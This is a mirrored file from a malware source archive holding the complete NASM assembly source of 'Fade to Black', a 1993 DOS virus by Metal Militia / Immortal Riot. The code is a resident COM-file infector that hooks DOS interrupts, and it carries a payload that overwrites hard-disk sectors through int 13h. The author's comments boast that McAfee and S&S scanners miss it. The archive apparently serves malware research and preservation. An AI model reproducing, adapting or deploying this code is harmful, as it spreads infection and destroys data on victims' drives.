mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-21 10:56:10 +00:00
343 lines
5.9 KiB
NASM
343 lines
5.9 KiB
NASM
; VirusName: Fade to Black
|
||
; Country : Sweden
|
||
; Author : Metal Militia / Immortal Riot
|
||
; Date : 07-29-1993
|
||
;
|
||
; This is a mutation of Creeping Tormentor, whick was discovered
|
||
; in Feb 1992. The origin is "unknown" (attention Patricica), it's
|
||
; written in Sweden by Tormentor / Demoralized Youth
|
||
; Many thanx goes to Tormentor for the original code.
|
||
;
|
||
; This is a Parasite, Resident, Appending COM-files infector.
|
||
; Searches for the string sUMsDos (?) in memory.
|
||
; search for Jerusalen, and if it's locate it, crash the HD.
|
||
;
|
||
; This will just fine, and
|
||
; McAfee Scan v105 can't find it, and
|
||
; S&S Toolkit 6.5 don't find it either.
|
||
;
|
||
; I haven't tried with scanners like Fprot/Tbscan,
|
||
; but they will probably report some virus structure.
|
||
;
|
||
; Best Regards : [Metal Militia]
|
||
; [The Unforgiven]
|
||
|
||
|
||
code segment byte public
|
||
assume cs:code, ds:code, es:code, ss:code
|
||
|
||
|
||
org 100h
|
||
|
||
|
||
codebeg:
|
||
|
||
|
||
mov ax,0700h ; Remove virus from code!
|
||
int 21h ;^-- Scan string (before it was ax,043FFh)
|
||
|
||
; Let's allocate some mem!
|
||
|
||
mov ax,ds
|
||
sub ax,11h
|
||
mov ds,ax
|
||
cmp byte ptr ds:[0100h],5Ah
|
||
jnz skip
|
||
mov ax,ds:[0103h]
|
||
sub ax,40h
|
||
jb skip
|
||
mov ds:[0103h],ax
|
||
sub word ptr ds:[0112h],50h
|
||
mov es,ds:[0112h]
|
||
push cs
|
||
pop ds
|
||
mov cx,code_end-codebeg
|
||
mov di,100h
|
||
push di
|
||
mov si,di
|
||
rep movsb
|
||
|
||
push es
|
||
pop ds
|
||
|
||
mov ax,351Ch
|
||
int 21h
|
||
mov word ptr ds:[int1Cret],bx
|
||
mov word ptr ds:[int1Cret+2],es
|
||
mov al,21h
|
||
int 21h
|
||
mov word ptr ds:[real21+1],bx
|
||
mov word ptr ds:[real21+3],es
|
||
|
||
mov ah,25h
|
||
mov dx,offset int21beg
|
||
int 21h
|
||
mov al,1Ch
|
||
mov dx,offset int1Cnew
|
||
int 21h
|
||
|
||
push cs
|
||
push cs
|
||
pop es
|
||
pop ds
|
||
|
||
ret
|
||
|
||
skip: int 20h
|
||
|
||
|
||
int21beg: push ax
|
||
sub ax,4B00h
|
||
jz infect
|
||
pop ax
|
||
cmp ax,0700h ; Check if ....
|
||
jne real21
|
||
|
||
mov ax,word ptr ds:[retdata]
|
||
mov si,ax
|
||
mov di,100h
|
||
mov cx,code_end-codebeg
|
||
rep movsb
|
||
|
||
mov ax,100h
|
||
|
||
pop cx
|
||
pop cx
|
||
push es
|
||
push ax
|
||
iret
|
||
|
||
real21: db 0EAh, 00h, 00h, 00h, 00h ; Jump to org21vec.
|
||
|
||
|
||
retdata: db 00h, 00h
|
||
|
||
f_time: dw 0000h
|
||
|
||
f_date: dw 0000h
|
||
|
||
infect: pop ax
|
||
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push di
|
||
push ds
|
||
push dx
|
||
push si
|
||
|
||
|
||
mov ah,43h ; Get file attr.
|
||
int 21h
|
||
mov ax,4301h
|
||
and cx,0FEh ; Strip the Read-only-flag
|
||
int 21h
|
||
|
||
mov ax,3D02h ; Open victim.
|
||
int 21h
|
||
|
||
xchg ax,bx
|
||
|
||
call sub_2
|
||
|
||
sub_2: mov di,sp ; God what I hate that Eskimo!
|
||
mov si,ss:[di]
|
||
inc sp
|
||
inc sp
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
mov ax,5700h ; Get file's time and date
|
||
int 21h
|
||
mov [si-(sub_2-f_time)],cx
|
||
mov [si-(sub_2-f_date)],dx ; And save them...
|
||
|
||
mov ah,3Fh ; Read X byte from begin.
|
||
mov cx,code_end-codebeg
|
||
add si,code_end-sub_2 ; SI points to EOF
|
||
mov dx,si
|
||
int 21h
|
||
|
||
|
||
cmp word ptr [si],'MZ' ; Mark Zimbowski? (EXE?)
|
||
je close
|
||
cmp word ptr [si],'ZM' ; Zimbowski Mark? (EXE?)
|
||
je close
|
||
mark: cmp word ptr [si+(mark-codebeg+4)],'<27><>' ; infected?
|
||
je close
|
||
|
||
call put_eof ; move file ptr to EOF
|
||
|
||
cmp ax,(0FFFFh-(code_end-codebeg)-100h)
|
||
ja close
|
||
cmp ax,code_end-codebeg+100h
|
||
jb close
|
||
|
||
add ax,100h
|
||
mov word ptr ds:[si-(code_end-retdata)],ax
|
||
|
||
mov ah,40h ; Flytta (move) beg to end.
|
||
mov cx,code_end-codebeg
|
||
mov dx,si
|
||
int 21h
|
||
|
||
mov ax,4200h ; fptr to filbeg.
|
||
xor cx,cx
|
||
xor dx,dx
|
||
int 21h
|
||
|
||
mov ah,40h ; Write virus to beg.
|
||
mov cx,code_end-codebeg
|
||
mov dx,si
|
||
sub dx,cx
|
||
int 21h
|
||
|
||
close: mov ax,5701h
|
||
mov cx,[si-(code_end-f_time)]
|
||
mov dx,[si-(code_end-f_date)]
|
||
int 21h
|
||
|
||
mov ah,3Eh
|
||
int 21h ; close file, bx=file handle
|
||
|
||
pop si
|
||
pop dx
|
||
pop ds
|
||
pop di
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
|
||
|
||
jmp real21
|
||
|
||
put_eof: mov ax,4202h
|
||
xor dx,dx
|
||
xor cx,cx
|
||
int 21h
|
||
ret
|
||
|
||
|
||
int1Cnew:
|
||
|
||
push ax
|
||
inc byte ptr cs:[counter]
|
||
mov al,30h
|
||
cmp byte ptr cs:[counter],al
|
||
jz scan
|
||
pop ax
|
||
|
||
|
||
quit: jmp dword ptr cs:[int1Cret]
|
||
|
||
scan:
|
||
push bx
|
||
push cx
|
||
push di
|
||
push ds
|
||
push dx
|
||
push es
|
||
push si
|
||
|
||
|
||
push cs
|
||
pop ds
|
||
|
||
cld
|
||
xor bx,bx
|
||
mov byte ptr cs:[counter],bh
|
||
mov cx,0FA0h
|
||
|
||
mov ax,0b800h
|
||
mov es,ax
|
||
xor di,di
|
||
|
||
again: mov al,byte ptr cs:[text+bx]
|
||
sub al,80h
|
||
repnz scasb
|
||
jnz stick
|
||
|
||
maybe: inc di
|
||
inc bx
|
||
cmp bx,10d
|
||
jz beep
|
||
|
||
mov al,byte ptr cs:[text+bx]
|
||
sub al,80h
|
||
scasb
|
||
jz maybe
|
||
xor bx,bx
|
||
jmp again
|
||
|
||
beep:
|
||
xor cx,cx
|
||
mov bx,word ptr cs:[int1Cret]
|
||
mov es,word ptr cs:[int1Cret+2]
|
||
mov ax,251Ch
|
||
int 21h
|
||
|
||
overagain: mov dx,0180h
|
||
xor bx,bx
|
||
|
||
reset: mov ah,00h
|
||
inc bx
|
||
cmp bl,5h
|
||
jz raise
|
||
inc cx
|
||
int 13h
|
||
|
||
hoho: mov ax,0380h
|
||
inc cx
|
||
int 13h
|
||
jc reset
|
||
jmp hoho
|
||
|
||
raise: xor cx,cx
|
||
xor bx,bx
|
||
inc dx
|
||
cmp dl,85h
|
||
jnz hoho
|
||
jmp overagain
|
||
|
||
stick:
|
||
pop si
|
||
pop es
|
||
pop dx
|
||
pop ds
|
||
pop di
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
|
||
|
||
jmp quit
|
||
|
||
|
||
counter: db 00h
|
||
|
||
text: db 's'+80h, 'U'+80h, 'M'+80h, 's'+80h, 'D'+80h, 'o'+80h
|
||
db 's'+80h
|
||
|
||
; This is what it scans the screen for --^ sUMsDos
|
||
; just a little bit cryptic eh ?
|
||
|
||
int1Cret: db 0EAh, 00h, 00h, 00h, 00h
|
||
|
||
code_end: ; THE END.
|
||
|
||
; This isn't really a bullshit note, this is a Metallica Note ;)
|
||
; which means quality! Metal Up Your Ass!
|
||
|
||
bullshit_note db "Metal Militia / Immortal Riot "
|
||
DB "Fade To Black "
|
||
DB "Things not what they used to be "
|
||
DB "Missing one inside of me "
|
||
DB "Deathly lost, this can't be real "
|
||
DB "Cannot stand this hell I feel... "
|
||
|
||
code ends
|
||
end codebeg
|
||
|
||
; Think that would be it..
|
||
|